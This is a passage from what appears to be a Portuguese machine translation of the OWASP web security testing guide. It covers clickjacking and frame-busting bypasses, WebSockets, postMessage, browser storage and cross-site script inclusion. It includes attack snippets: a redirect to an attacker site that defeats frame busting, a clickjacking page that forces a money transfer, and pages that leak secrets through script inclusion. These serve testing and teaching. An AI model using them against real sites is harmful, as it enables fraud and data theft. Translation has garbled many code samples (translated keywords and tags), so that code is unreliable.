204 página:
<?php
header("HTTP/1.1 204 Sem conteúdo");
?>
Página do atacante:
<script>
var prevent_bust = 0;
window.onbeforeunload = function() { prevent_bust+
+;
};
setInterval(
function() { if
(prevent_bust > 0) { prevent_bust
-= 2; window.top.location =
"http://attacker.site/204.php";
} }, 1);
</script> <iframe
src="http://example.org">
Filtro XSS
A partir do Google Chrome 4.0 e do IE8, foram introduzidos filtros XSS para proteger os usuários de ataques XSS refletidos. Nava e Lindsay observaram que esse tipo de
filtro pode ser usado para desativar o código de bloqueio de quadros, fingindo que é um código malicioso.
Filtro IE8 XSS: esse filtro tem visibilidade de todos os parâmetros de cada solicitação e resposta que flui pelo navegador da Web e os compara a um conjunto de
expressões regulares para procurar tentativas de XSS refletidas. Quando o filtro identifica um possível ataque XSS; ele desativa todos os scripts embutidos na página,
incluindo scripts de bloqueio de quadro (o mesmo pode ser feito com scripts externos). Por esse motivo, um invasor pode induzir um falso positivo inserindo o início
do script de impedimento de quadro nos parâmetros de uma solicitação.
Exemplo: código de bloqueio de frame da página da web de destino:
<script> if
( topo != self ) {
top.location=self.location;
} </script>
Código do atacante:
<iframe src="http://example.org/?param=<script>if">
Filtro Chrome 4.0 XSSAuditor: Tem um comportamento um pouco diferente em relação ao filtro XSS do IE8, na verdade com este filtro um invasor poderia desativar
um “script” passando seu código em um parâmetro de solicitação. Isso permite que a página de enquadramento direcione especificamente um único snippet contendo
o código de bloqueio de quadro, deixando todos os outros códigos intactos.
Exemplo: código de bloqueio de frame da página da web de destino:

405
<script>
if ( topo != self ) {
top.location=self.location;
} </script>
Código do atacante:
<iframe src="http://example.org/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D">
Redefinindo localização
Para vários navegadores, a variável “document.location” é um atributo imutável. No entanto, para algumas versões do Internet Explorer e
Safari, é possível redefinir esse atributo. Esse fato pode ser explorado para evitar o código de bloqueio de quadro.
Redefinindo localização no IE7 e IE8: é possível redefinir “localização” conforme ilustrado no exemplo a seguir.
Ao definir “location” como uma variável, qualquer código que tente ler ou navegar atribuindo “top.location” falhará devido a uma
violação de segurança e, portanto, o código de bloqueio de quadro será suspenso.
Exemplo:
<script>
var local = "xyz"; </script>
<iframe src="http://example.org"></
iframe>
Redefinindo localização no Safari 4.0.4: Para bloquear o código de bloqueio de quadro com “top.location” é possível vincular
“location” a uma função via defineSetter (através da janela), para que uma tentativa de ler ou navegar para o “top. local” falhará.
Exemplo:
<script>
window.defineSetter("localização" , function(){}); </script>
<iframe src="http://example.org"></iframe>
Proteção do lado do servidor: X-Frame-Options
Uma abordagem alternativa ao código de impedimento de quadro do lado do cliente foi implementada pela Microsoft e consiste em uma
defesa baseada em cabeçalho. Este novo cabeçalho “X-FRAME-OPTIONS” é enviado do servidor em respostas HTTP e é usado para
marcar páginas da web que não devem ser enquadradas. Esse cabeçalho pode assumir os valores DENY, SAMEORIGIN, ALLOW-FROM
origin ou ALLOWALL não padrão. O valor recomendado é DENY.
O “X-FRAME-OPTIONS” é uma solução muito boa e foi adotado pelos principais navegadores, mas também para esta técnica existem
algumas limitações que podem levar, em qualquer caso, à exploração da vulnerabilidade de clickjacking.
Compatibilidade do navegador
Como o “X-FRAME-OPTIONS” foi introduzido em 2009, este cabeçalho não é compatível com o navegador antigo. Portanto, todo usuário
que não possui um navegador atualizado pode ser vítima de um ataque de clickjacking.
Navegador Versão mais baixa
Internet Explorer 8,0

406
Firefox (Geco) 3.6.9 (1.9.2.9)
Ópera 10,50
Safári 4.0
cromada 4.1.249.1042
Proxies
Os proxies da Web são conhecidos por adicionar e remover cabeçalhos. No caso em que um proxy da web remove o cabeçalho “X-FRAME
OPTIONS”, o site perde sua proteção de enquadramento.
Versão do site móvel
Também neste caso, como o X-FRAME-OPTIONS deve ser implementado em todas as páginas do site, os desenvolvedores podem não ter
protegido a versão móvel do site.
Criar uma prova de conceito

Depois de descobrirmos que o site que estamos testando é vulnerável a ataques de clickjacking, podemos prosseguir com o desenvolvimento
de uma prova de conceito (PoC) para demonstrar a vulnerabilidade. É importante observar que, conforme mencionado anteriormente, esses
ataques podem ser usados em conjunto com outras formas de ataque (por exemplo, ataques CSRF) e podem levar à superação de tokens anti-
CSRF. A esse respeito, podemos imaginar que, por exemplo, o site example.org permite que usuários autenticados e autorizados façam uma
transferência de dinheiro para outra conta.
Suponha que para executar a transferência os desenvolvedores planejaram três etapas. Na primeira etapa o usuário preenche um formulário
com a conta de destino e o valor. No segundo passo, sempre que o utilizador submete o formulário, é apresentada uma página de resumo a
pedir a confirmação do utilizador (como a apresentada na figura seguinte).
Figura 4.11.9-3: Exemplo de Clickjacking Etapa 2
Segue um trecho do código para o passo 2:
//gerar token aleatório anti CSRF $csrfToken

= md5(uniqid(rand(), TRUE));
//defina o token como nos dados da sessão

$_SESSION['antiCsrf'] = $csrfToken;
//Formulário de transferência com o campo oculto

'
$form =
<form name="transferForm" action="confirm.php" method="POST">
<div class="caixa">
<h1>BANCO XYZ - Confirmar transferência</h1>
<p>
Deseja confirmar uma transferência de <b>'. $_REQUEST['quantia'] .' €</b> para a conta: <b>'. $_REQUEST['conta'] .'</
b> ? </p> <rótulo>
<input type="hidden" name="amount" value="' . $_REQUEST['amount'] . <input type="hidden" '" />

name="account" value="' . $_REQUEST['conta'] . <input type="hidden" name="antiCsrf" value="' . '" />
$csrfToken . <input type="submit" class="button" value="Transfer Money" /> </label> '" />
407
</div>
</form>';
Na última etapa são planejados os controles de segurança e então, se tudo estiver ok, a transferência é feita. Na listagem a seguir é apresentado um
trecho de código da última etapa:
Nota: neste exemplo, para simplificar, não há sanitização de entrada, mas não tem relevância para bloquear esse tipo de ataque
if( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) ) {
// lógica de entrada e verificações de sanização
// verifica o token anti-CSRF

if(($_SESSION['antiCsrf'] == $_POST['antiCsrf']) {
echo '<p> '. $_POST['quantia'] .' € transferido com sucesso para a conta: '.
$_POST['conta'] .' </p>';
} } else
{ echo '<p>Transferir KO</p>';
}
Como você pode ver, o código está protegido contra ataques CSRF com um token aleatório gerado na segunda etapa e aceitando apenas variáveis
passadas pelo método POST. Nessa situação, um invasor pode forjar um ataque CSRF + Clickjacking para escapar da proteção anti-CSRF e forçar a
vítima a fazer uma transferência de dinheiro sem seu consentimento.
A página de destino do ataque é a segunda etapa do procedimento de transferência de dinheiro. Como os desenvolvedores colocam os controles de
segurança apenas na última etapa, pensando que isso é seguro o suficiente, o invasor pode passar os parâmetros de conta e valor por meio do método
GET.
Nota: existe um ataque avançado de clickjacking que permite forçar os utilizadores a preencher um formulário, pelo que também no caso em que
é necessário preencher um formulário, o ataque é viável
A página do invasor pode parecer uma página da Web simples e inofensiva como a apresentada abaixo:
Figura 4.11.9-4: Exemplo de Clickjacking Página Maliciosa 1
Mas, brincando com o valor de opacidade do CSS, podemos ver o que está oculto sob a página da Web aparentemente inócua.
408
O código de clickjacking para criar esta página é apresentado abaixo:
<html>
<cabeça>
<title>Página da web confiável </title>
<style type="text/css"></estilo>
</head>
<corpo>
<div id="conteúdo">
<h1>www.owasp.com</h1>
409
<form action="http://www.owasp.com"> <input

type="submit" class="button" value="Clique e pronto!">
</form>
</div>
<iframe id="clickjacking"-src="http//localhost/csrf/transferphp?
account=attacker&amount=10000"-width="500"-height="500"-scrolling="no"-frameborder="none"> </iframe>
</body>
</html>
Com a ajuda do CSS (observe o bloco #clickjacking ), podemos mascarar e posicionar adequadamente o iframe de forma a corresponder aos
botões. Se a vítima clicar no botão “Click and go!” o formulário é enviado e a transferência é concluída.
O exemplo apresentado utiliza apenas a técnica básica de clickjacking, mas com a técnica avançada é possível forçar o usuário a preencher o
formulário com valores definidos pelo invasor.
Referências
Clickjacking OWASP
Wikipédia Clickjacking
Contexto de Segurança da Informação: “Clickjacking de Próxima Geração”
Gustav Rydstedt, Elie Bursztein, Dan Boneh e Collin Jackson: “Busting Frame Busting: a Study of Clickjacking
Vulnerabilidades em sites populares”
Paul Stone: “Clickjacking de próxima geração”

410
Testando WebSockets
EU IRIA
WSTG-CLNT-10
Resumo
Tradicionalmente, o protocolo HTTP permite apenas uma solicitação/resposta por conexão TCP. JavaScript e XML assíncronos (AJAX) permitem que
os clientes enviem e recebam dados de forma assíncrona (em segundo plano sem uma atualização de página) para o servidor, no entanto, o AJAX
exige que o cliente inicie as solicitações e aguarde as respostas do servidor (half-duplex).
WebSockets permitem que o cliente ou servidor crie um canal de comunicação 'full-duplex' (bidirecional), permitindo que o cliente e o servidor se
comuniquem verdadeiramente de forma assíncrona. Os WebSockets conduzem seu handshake de atualização inicial por HTTP e , a partir de então,
toda a comunicação é realizada por canais TCP por meio de quadros. Para saber mais, consulte o Protocolo WebSocket .
Origin É
responsabilidade do servidor verificar o cabeçalho Origin no handshake HTTP WebSocket inicial. Se o servidor não validar o cabeçalho de origem no
handshake inicial do WebSocket, o servidor WebSocket poderá aceitar conexões de qualquer origem. Isso pode permitir que os invasores se
comuniquem com o domínio cruzado do servidor WebSocket, permitindo problemas do tipo CSRF. Veja também Top 10-2017 A5-Broken Access Control.
Confidencialidade e Integridade
WebSockets podem ser usados em TCP não criptografado ou em TLS criptografado. Para usar WebSockets não criptografados, o esquema ws:// URI
é usado (porta padrão 80), para usar WebSockets criptografados (TLS), o esquema wss:// URI é usado (porta padrão 443). Consulte também Exposição
de dados sensíveis A3 Top 10-2017.
Sanitização de entrada
Assim como qualquer dado originado de fontes não confiáveis, os dados devem ser devidamente limpos e codificados. Veja também Top 10-2017 A1-
Injection e Top 10-2017 A7-Cross-Site Scripting (XSS).
Objetivos do teste
Identificar o uso de WebSockets.
Avalie sua implementação usando os mesmos testes em canais HTTP normais.
Como testar
1. Identifique se o aplicativo está usando WebSockets.
Inspecione o código-fonte do lado do cliente para o esquema de URI ws:// ou wss:// .
Use as ferramentas do desenvolvedor do Google Chrome para visualizar a comunicação do WebSocket da rede.
Use ZAP's Guia WebSocket.
2. Origem.
Usando um cliente WebSocket (um pode ser encontrado na seção Ferramentas abaixo), tente conectar-se ao servidor WebSocket remoto.
Se uma conexão for estabelecida, o servidor pode não estar verificando o cabeçalho de origem do handshake do WebSocket.
3. Confidencialidade e Integridade.
Verifique se a conexão WebSocket está usando SSL para transportar informações confidenciais wss:// .
411
Verifique a implementação de SSL quanto a problemas de segurança (Certificado válido, BEAST, CRIME, RC4, etc). Consulte a seção Teste
de segurança da camada de transporte fraca deste guia.
4. Autenticação.
WebSockets não lidam com autenticação, testes normais de autenticação de caixa preta devem ser executados. Consulte as seções Teste
de Autenticação deste guia.
5. Autorização.
WebSockets não lidam com autorização, testes normais de autorização de caixa preta devem ser executados. Consulte as seções Teste de
autorização deste guia.
6. Sanitização de insumos.
Use ZAP's Guia WebSocket para reproduzir e difundir solicitações e respostas do WebSocket. Consulte as seções Teste para validação de
dados deste guia.
Exemplo 1
Depois de identificarmos que o aplicativo está usando WebSockets (conforme descrito acima), podemos usar o OWASP Zed Attack Proxy (ZAP) para
interceptar a solicitação e as respostas do WebSocket. O ZAP pode então ser usado para reproduzir e difundir as solicitações/respostas do WebSocket.
Figura 4.11.10-1: ZAP WebSockets
Exemplo 2
Usando um cliente WebSocket (um pode ser encontrado na seção Ferramentas abaixo), tente conectar-se ao servidor WebSocket remoto. Se a conexão
for permitida, o servidor WebSocket pode não estar verificando o cabeçalho de origem do handshake do WebSocket. Tente reproduzir as solicitações
interceptadas anteriormente para verificar se a comunicação WebSocket entre domínios é possível.
412
Figura 4.11.10-2: Cliente WebSocket
Teste de caixa cinza

O teste de caixa cinza é semelhante ao teste de caixa preta. No teste de caixa cinza, o pen-tester tem conhecimento parcial do
aplicativo. A única diferença aqui é que você pode ter a documentação da API para o aplicativo que está sendo testado, incluindo
a solicitação e as respostas esperadas do WebSocket.
Ferramentas

Cliente WebSocket
Cliente WebSocket simples do Google Chrome
Referências
HTML5 Rocks - Apresentando WebSockets: Trazendo Sockets para a Web
W3C - A API WebSocket
IETF - O Protocolo WebSocket
Christian Schneider - Sequestro de WebSocket entre sites (CSWSH)

Jussi-Pekka Erkkilä - WebSocket Security Analysis (PDF)
Robert Koch-On WebSockets em testes de penetração
DigiNinja - OWASP ZAP e Web Sockets
413
Testando mensagens da Web
EU IRIA
WSTG-CLNT-11
Resumo
Web Messaging (também conhecido como Cross Document Messaging) permite que aplicativos executados em diferentes domínios se comuniquem de
maneira segura. Antes da introdução de mensagens na web, a comunicação de diferentes origens (entre iframes, guias e janelas) era restrita pela mesma
política de origem e imposta pelo navegador. Os desenvolvedores usaram vários hacks para realizar essas tarefas, e a maioria deles era insegura.
Essa restrição no navegador existe para impedir que um site malicioso leia dados confidenciais de outros iframes, guias, etc; no entanto, existem alguns casos
legítimos em que dois sites confiáveis precisam trocar dados entre si. Para atender a essa necessidade, o Cross Document Messaging foi introduzido no
WHATWG HTML5 rascunho de especificação e foi implementado em todos os principais navegadores. Ele permite comunicações seguras entre várias origens
em iframes, guias e janelas.
A API de mensagens introduziu o método postMessage() , com o qual as mensagens de texto simples podem ser enviadas de origem
cruzada. Consiste em dois parâmetros: mensagem e domínio.
Existem algumas preocupações de segurança ao usar * como o domínio que discutimos abaixo. Para receber mensagens, o site receptor precisa adicionar um
novo manipulador de eventos, que possui os seguintes atributos:
Dados, o conteúdo da mensagem recebida;
Origem do documento remetente; e
Source, a janela de origem.
Aqui está um exemplo da API de mensagens em uso. Para enviar uma mensagem:
iframe1.contentWindow.postMessage("Olá mundo","http://www.example.com");
Para receber uma mensagem:
window.addEventListener("mensagem", manipulador, verdadeiro);

function handler(event) { if(event.origin === 'chat.example.com') { /
* processa mensagem (event.data) */ } else { /* ignora
mensagens de domínios não confiáveis */
}
}
Segurança da origem
A origem é composta por um esquema, nome do host e porta. Ele identifica exclusivamente o domínio que envia ou recebe a mensagem e não inclui o caminho
ou a parte do fragmento da URL. Por exemplo, https://example.com será considerado diferente de http://example.com porque o esquema do primeiro é https ,
enquanto o segundo é http .
Isso também se aplica a servidores da Web em execução no mesmo domínio, mas em portas diferentes.
Objetivos do teste
414
Avalie a segurança da origem da mensagem.
Valide se está usando métodos seguros e validando sua entrada.
Como testar
Examinar segurança de origem
Os testadores devem verificar se o código do aplicativo está filtrando e processando mensagens de domínios confiáveis. No domínio de envio,
certifique-se também de que o domínio de recebimento seja declarado explicitamente e que * não seja usado como o segundo argumento de
postMessage() . Essa prática pode apresentar preocupações de segurança e pode levar, no caso de um redirecionamento ou se a origem for
alterada por outros meios, o site enviar dados para hosts desconhecidos e, portanto, vazar dados confidenciais para servidores maliciosos.
Se o site não adicionar controles de segurança para restringir os domínios ou origens que têm permissão para enviar mensagens para um site, é
provável que apresente um risco de segurança. Os testadores devem examinar o código para ouvintes de evento de mensagem e obter a função
de retorno de chamada do método addEventListener para análise posterior. Os domínios sempre devem ser verificados antes da manipulação de
dados.
Examine a validação de entrada
Embora o site esteja teoricamente aceitando mensagens apenas de domínios confiáveis, os dados ainda devem ser tratados como dados não
confiáveis de origem externa e processados com os controles de segurança apropriados. Os testadores devem analisar o código e procurar
métodos inseguros, em particular onde os dados estão sendo avaliados por meio de eval() ou inseridos no DOM por meio da propriedade
innerHTML , que pode criar vulnerabilidades XSS baseadas em DOM.
Análise de Código Estático
O código JavaScript deve ser analisado para determinar como as mensagens da web são implementadas. Em particular, os testadores devem estar
interessados em saber como o site está restringindo as mensagens de domínios não confiáveis e como os dados são tratados mesmo para
domínios confiáveis.
Neste exemplo, o acesso é necessário para cada subdomínio (www, chat, fóruns, …) dentro do domínio owasp.org. O código está tentando aceitar
qualquer domínio com .owasp.org :
window.addEventListener("mensagem", retorno de chamada, verdadeiro);
retorno de chamada de função (e) {

if(e.origin.indexOf(".owasp.org")!=-1) { /* mensagem
do processo (e.data) */
}
}
A intenção é permitir subdomínios como:
www.owasp.org
chat.owasp.org
forums.owasp.org
Infelizmente, isso introduz vulnerabilidades. Um invasor pode ignorar facilmente o filtro, pois um domínio como www.owasp.org.attacker.com
corresponderá.
Aqui está um exemplo de código que não possui uma verificação de origem. Isso é muito inseguro, pois aceitará entrada de qualquer domínio:
function callback(e) { /*
mensagem de processo (e.data) */
}
415
Aqui está um exemplo com vulnerabilidades de validação de entrada que podem levar ao ataque XSS:
retorno de chamada de função (e) {

if(e.origin === "trusted.domain.com")
{ element.innerHTML= e.data;
}
}
Uma abordagem mais segura seria usar a propriedade innerText em vez de innerHTML .
Para obter mais recursos OWASP sobre mensagens da Web, consulte Folha de dicas de segurança OWASP HTML5
416
Testando o armazenamento do navegador
EU IRIA
WSTG-CLNT-12
Resumo
Os navegadores fornecem os seguintes mecanismos de armazenamento do lado do cliente para que os desenvolvedores armazenem e recuperem dados:
Armazenamento local
Armazenamento de sessão
IndexedDB
Web SQL (obsoleto)
Biscoitos
Esses mecanismos de armazenamento podem ser visualizados e editados usando as ferramentas de desenvolvedor do navegador, como Google Chrome DevTools ou Firefox's
Storage Inspector.
Nota: Embora o cache também seja uma forma de armazenamento, ele é abordado em uma seção separada que cobre suas próprias peculiaridades e
preocupações.
Objetivos do teste
Determine se o site está armazenando dados confidenciais no armazenamento do lado do cliente.
A manipulação de código dos objetos de armazenamento deve ser examinada quanto a possibilidades de ataques de injeção, como a utilização de entrada não validada
ou bibliotecas vulneráveis.
Como testar
Armazenamento local
window.localStorage é uma propriedade global que implementa a API Web Storage e fornece armazenamento de valor-chave persistente no navegador.
As chaves e os valores só podem ser strings, portanto, quaisquer valores que não sejam strings devem ser convertidos em strings antes de armazená-los, geralmente feito por meio de JSON.stringify.
As entradas no localStorage persistem mesmo quando a janela do navegador é fechada, com exceção das janelas no modo Privado/Incógnito.
A capacidade máxima de armazenamento do localStorage varia entre os navegadores.
Listar todas as entradas de valor-chave
for (let i = 0; i < localStorage.length; i++) {

chave const = localStorage.key(i); valor
const = localStorage.getItem(chave); console.log(`$
{key}: ${value}`);
}
window.sessionStorage é uma propriedade global que implementa a API Web Storage e fornece armazenamento efêmero de valor-chave no navegador.
417
As chaves e os valores só podem ser strings, portanto, quaisquer valores que não sejam strings devem ser convertidos em strings antes de armazená-
los, geralmente feito por meio de JSON.stringify.
As entradas para sessionStorage são efêmeras porque são limpas quando a guia/janela do navegador é fechada.
A capacidade máxima de armazenamento de sessionStorage varia entre os navegadores.
Listar todas as entradas de valor-chave
for (let i = 0; i < sessionStorage.length; i++) {

chave const = sessionStorage.key(i); valor
const = sessionStorage.getItem(key); console.log(`${key}:
${value}`);
}
IndexedDB
IndexedDB é um banco de dados transacional orientado a objetos destinado a dados estruturados. Um banco de dados IndexedDB pode ter vários
armazenamentos de objeto e cada armazenamento de objeto pode ter vários objetos.
Ao contrário do armazenamento local e do armazenamento de sessão, o IndexedDB pode armazenar mais do que apenas strings. Quaisquer objetos
suportados pelo algoritmo de clone estruturado podem ser armazenados em IndexedDB.
Um exemplo de objeto JavaScript complexo que pode ser armazenado no IndexedDB, mas não no armazenamento local/de sessão são as CryptoKeys.
Recomendação do W3C na Web Crypto API recomenda que as CryptoKeys que precisam ser persistidas no navegador, para serem armazenadas no
IndexedDB. Ao testar uma página da Web, procure quaisquer CryptoKeys em IndexedDB e verifique se elas estão definidas como extraíveis: true quando
deveriam ter sido definidas como extraíveis: false (ou seja, certifique-se de que o material da chave privada subjacente nunca seja exposto durante
operações criptográficas).
Imprima todo o conteúdo do IndexedDB
const dumpIndexedDB = dbName => { const

DB_VERSION = 1; const req =
indexedDB.open(dbName, DB_VERSION); req.onsuccess =
function() { const db = req.result; const objectStoreNames =
db.objectStoreNames || [];
console.log(`[*] Banco de dados: ${dbName}`);
Array.from(objectStoreNames).forEach(storeName => { const txn =

db.transaction(storeName, 'readonly'); const objectStore =
txn.objectStore(storeName);
console.log(`\t[+] ObjectStore: ${storeName}`);
// Imprime todas as entradas em objectStore com o nome ` storeName`

objectStore.getAll().onsuccess = event => { const items = event.target.result || [];
itens.forEach(item => console.log(`\t\t[-] `, item)); }; }); }; };
indexedDB.databases().then(dbs => dbs.forEach(db => dumpIndexedDB(db.name)));
WebSQL
O Web SQL está obsoleto desde 18 de novembro de 2010 e é recomendável que os desenvolvedores da Web não o usem.
418
Biscoitos
Os cookies são um mecanismo de armazenamento de valor-chave usado principalmente para gerenciamento de sessão, mas os desenvolvedores da Web ainda podem usá-lo
para armazenar dados de string arbitrários.
Os cookies são amplamente abordados no cenário de teste de atributos de cookies .
Listar todos os cookies
console.log(window.document.cookie);
Objeto de janela global Às vezes, os
desenvolvedores da Web inicializam e mantêm o estado global que está disponível apenas durante o tempo de execução da página, atribuindo atributos personalizados ao
objeto de janela global. Por exemplo:
window.MY_STATE =
{ contador: 0, sinalizador:
falso, };
Quaisquer dados anexados ao objeto janela serão perdidos quando a página for atualizada ou fechada.
Listar todas as entradas no objeto de janela
(() => { //
cria um iframe e acrescenta ao corpo para carregar um objeto janela limpo const iframe =
document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe );
// obtém a lista atual de propriedades na janela const currentWindow

= Object.getOwnPropertyNames(window);
// filtrar a lista em relação às propriedades que existem na janela limpa const results =
currentWindow.filter( prop => !iframe.contentWindow.hasOwnProperty(prop) );
// remove o iframe
document.body.removeChild(iframe);
// registra as entradas de valor-chave que são diferentes

results.forEach(key => console.log(`${key}: ${window[key]}`)); })();
(Versão modificada deste trecho)
Cadeia de Ataque
Após a identificação de qualquer um dos vetores de ataque acima, uma cadeia de ataque pode ser formada com diferentes tipos de ataques do lado do cliente, como ataques
XSS baseados em DOM .
Remediação
Os aplicativos devem armazenar dados confidenciais no lado do servidor, e não no lado do cliente, de maneira segura, seguindo as práticas recomendadas.
Referências
Armazenamento Local
419
IndexedDB
API de criptografia da Web: armazenamento de chaves
WebSQL
Biscoitos
Para obter mais recursos OWASP na API de armazenamento da Web HTML5, consulte a folha de dicas de gerenciamento de sessões.
420
Teste para inclusão de script entre sites
EU IRIA
WSTG-CLNT-13
Resumo
A vulnerabilidade Cross Site Script Inclusion (XSSI) permite o vazamento de dados confidenciais entre origens ou limites entre domínios. Dados confidenciais
podem incluir dados relacionados à autenticação (estados de login, cookies, tokens de autenticação, IDs de sessão etc.) XSSI é um ataque do lado do
cliente semelhante ao Cross Site Request Forgery (CSRF), mas tem uma finalidade diferente.
Onde o CSRF usa o contexto do usuário autenticado para executar certas ações de mudança de estado dentro da página da vítima (por exemplo, transferir
dinheiro para a conta do invasor, modificar privilégios, redefinir senha etc.), o XSSI usa JavaScript no lado do cliente para vazar dados confidenciais de
sessões autenticadas.
Por padrão, os sites só podem acessar dados se forem da mesma origem. Este é um princípio fundamental de segurança de aplicativos e regido pela
política de mesma origem (definida pelo RFC 6454). Uma origem é definida como a combinação do esquema URI (HTTP ou HTTPS), nome do host e
número da porta. No entanto, esta política não se aplica a inclusões de tags HTML <script> . Esta exceção é necessária, pois sem ela os sites não poderiam
consumir serviços de terceiros, realizar análises de tráfego, utilizar plataformas de publicidade, etc.
Quando o navegador abre um site com tags <script> , os recursos são buscados no domínio de origem cruzada. Os recursos são executados no mesmo
contexto do site ou navegador incluído, o que apresenta a oportunidade de vazar dados confidenciais. Na maioria dos casos, isso é feito usando JavaScript,
no entanto, a fonte do script não precisa ser um arquivo JavaScript com tipo text/javascript ou extensão .js .
Vulnerabilidades de navegadores mais antigos (IE9/10) permitiram vazamento de dados por meio de mensagens de erro de JavaScript em tempo de
execução, mas essas vulnerabilidades agora foram corrigidas por fornecedores e são consideradas menos relevantes. Ao definir o atributo charset da tag
<script> , um invasor ou testador pode impor a codificação UTF-16, permitindo o vazamento de dados para outros formatos de dados (por exemplo, JSON)
em alguns casos. Para saber mais sobre esses ataques, consulte Ataques XSSI baseados em identificador.
Objetivos do teste
Localize dados confidenciais em todo o sistema.
Avalie o vazamento de dados confidenciais por meio de várias técnicas.
Como testar
Colete dados usando sessões de usuários autenticados e não autenticados
Identifique quais endpoints são responsáveis pelo envio de dados confidenciais, quais parâmetros são necessários e identifique todas as respostas
JavaScript relevantes geradas dinâmica e estaticamente usando sessões de usuário autenticadas. Preste atenção especial aos dados confidenciais
enviados usando JSONP. Para localizar respostas JavaScript geradas dinamicamente, gere solicitações autenticadas e não autenticadas e compare-as. Se
forem diferentes, significa que a resposta é dinâmica; caso contrário, é estático. Para simplificar esta tarefa, uma ferramenta como o plug-in Burp proxy da
Veit Hailperin pode ser usado. Certifique-se de verificar outros tipos de arquivo além do JavaScript; O XSSI não está limitado apenas a arquivos JavaScript.
Determine se os dados confidenciais podem ser vazados usando JavaScript

Os testadores devem analisar o código dos seguintes veículos para vazamento de dados por meio de vulnerabilidades XSSI:
1. Variáveis globais
2. Parâmetros de função globais
3. CSV (valores separados por vírgula) com roubo de cotações

421
4. Erros de tempo de execução do JavaScript
5. Protótipo de encadeamento usando este
1. Vazamento de dados confidenciais por meio de variáveis globais Uma
chave de API é armazenada em um arquivo JavaScript com o URI https://victim.com/internal/api.js no site da vítima, que só pode ser acessado por usuários
vítima.com , autenticados. Um invasor configura um site e usa a tag <script> para se referir ao arquivo JavaScript. attackingwebsite.com ,
Aqui está o conteúdo de https://victim.com/internal/api.js :
(função() {
window.secret = "supersecretUserAPIkey"; })();
O site de ataque, attackingwebsite.com , possui um index.html com o seguinte código:
<!DOCTYPE html>
<html>
<cabeça>
<title>Vazamento de dados por meio de variáveis globais</title> </
head>
<body>
<h1>Vazamento de dados por meio de variáveis globais</
h1> <script src="https://victim.com/internal/api.js"></script> <div id="result">
</div>
<script>
var div = document.getElementById("resultado");
div.innerHTML = "Seus dados secretos <b>" + window.secret + "</b>"; </script> </body>
</html>
Neste exemplo, uma vítima é autenticada com vitima.com . Um invasor atrai a vítima para attackingwebsite.com por meio de engenharia social, e-mails de
phishing etc. O navegador da vítima busca api.js , resultando no vazamento de dados confidenciais por meio da variável JavaScript global e exibição
usando innerHTML .
2. Vazamento de dados confidenciais por meio de parâmetros de funções globais Este
exemplo é semelhante ao anterior, exceto que, neste caso, o attackingwebsite.com usa uma função JavaScript global para extrair os dados confidenciais,
substituindo a função JavaScript global da vítima.
Aqui está o conteúdo de https://victim.com/internal/api.js :
(function() { var
secret = "supersecretAPIkey";
window.globalFunction(secret); })();
O site de ataque, attackingwebsite.com , possui um index.html com o seguinte código:
<!DOCTYPE html>
<html>
<cabeça>
<title>Vazamento de dados por meio de parâmetros de funções globais</title> </
head>
422
<body>
<div id="resultado">
</div>
<script>
function globalFunction(param) { var div =
document.getElementById("resultado"); div.innerHTML = "Seus
dados secretos: <b>" + param + "</b>";
} </script>
<script src="https://victim.com/internal/api.js"></script> </body> </html>
Existem outras vulnerabilidades XSSI que podem resultar em vazamento de dados confidenciais por meio de cadeias de protótipos JavaScript ou
chamadas de funções globais. Para saber mais sobre esses ataques, consulte The Unexpected Dangers of Dynamic JavaScript.
3. Vazamento de dados confidenciais via CSV com roubo de cotações Para

vazar dados, o invasor/testador deve ser capaz de injetar código JavaScript nos dados CSV. O código de exemplo a seguir é um
trecho dos ataques XSSI baseados em identificador de Takeshi Terada papel branco.
HTTP/1.1 200 OK
Tipo de conteúdo: texto/csv
Disposição do conteúdo: anexo; nome do arquivo="a.csv"
Comprimento do conteúdo: xxxx
1,"___","aaa@a.example","03-0000-0001"
2,"foo","bbb@b.example","03-0000-0002"
...
98,"bar","yyy@example.net","03-0000-0088"
99,"___","zzz@example.com","03-0000-0099"
Neste exemplo, usando o ___ colunas como pontos de injeção e inserir strings JavaScript em seu lugar tem o
seguinte resultado.
1,"\"",$$$=function(){/*","aaa@a.example","03-0000-0001"
2,"foo","bbb@b.example","03 -0000-0002"
...
98,"bar","yyy@example.net","03-0000-0088"
99,"*/}//","zzz@example.com","03-0000-0099"
Jeremiah Grossman escreveu sobre uma vulnerabilidade semelhante no Gmail em 2006 que permitiu a extração de contatos do usuário em JSON. Nesse
caso, os dados foram recebidos do Gmail e analisados pelo mecanismo JavaScript do navegador usando um construtor Array não referenciado para vazar
os dados. Um invasor pode acessar este Array com os dados confidenciais definindo e sobrescrevendo o construtor interno do Array da seguinte forma:
<!DOCTYPE html>
<html>
<cabeça>
<title>Vazando contatos do Gmail via JSON </title> </head>
<body>
<script>
function Array() { // rouba
dados
} </script>
<script src="http://mail.google.com/mail/?_url_scrubbed_"></script> </body> </html>
423
4. Vazamento de dados confidenciais por meio de erros de tempo de execução
do JavaScript Os navegadores normalmente apresentam mensagens de erro padronizadas do JavaScript. No entanto, no caso do IE9/10,
as mensagens de erro de tempo de execução forneciam detalhes adicionais que poderiam ser usados para vazar dados. Por exemplo, um
site vítima.com oferece o seguinte conteúdo no URI http://victim.com/service/csvendpoint para usuários autenticados:
HTTP/1.1 200 OK
Tipo de conteúdo: texto/csv
Disposição de conteúdo: anexo; nome do arquivo="a.csv"
1,abc,def,ghi
Essa vulnerabilidade pode ser explorada com o seguinte:


<script>window.onerror = function(err) {alert(err)}</script> 
<script src="http://victim .com/service/csvendpoint"></script>
Quando o navegador tenta renderizar o conteúdo CSV como JavaScript, ele falha e vaza os dados confidenciais:
Figura 4.11.13-1: mensagem de erro de tempo de execução do JavaScript
5. Vazamento de dados confidenciais por meio do encadeamento de protótipos usando `this`
Em JavaScript, a palavra-chave this tem escopo dinâmico. Isso significa que se uma função for chamada em um objeto, isso apontará para
esse objeto, mesmo que a função chamada não pertença ao próprio objeto. Esse comportamento pode ser usado para vazar dados. No
exemplo a seguir da página de demonstração de Sebastian Leike, os dados confidenciais são armazenados em uma matriz.
Um invasor pode substituir Array.prototype.forEach por uma função controlada pelo invasor. Se algum código chamar a função forEach em
uma instância de array que contém valores confidenciais, a função controlada pelo invasor será invocada com isso apontando para o objeto
que contém os dados confidenciais.
Aqui está um trecho de um arquivo JavaScript contendo dados confidenciais, javascript.js :
...
(função() {
424
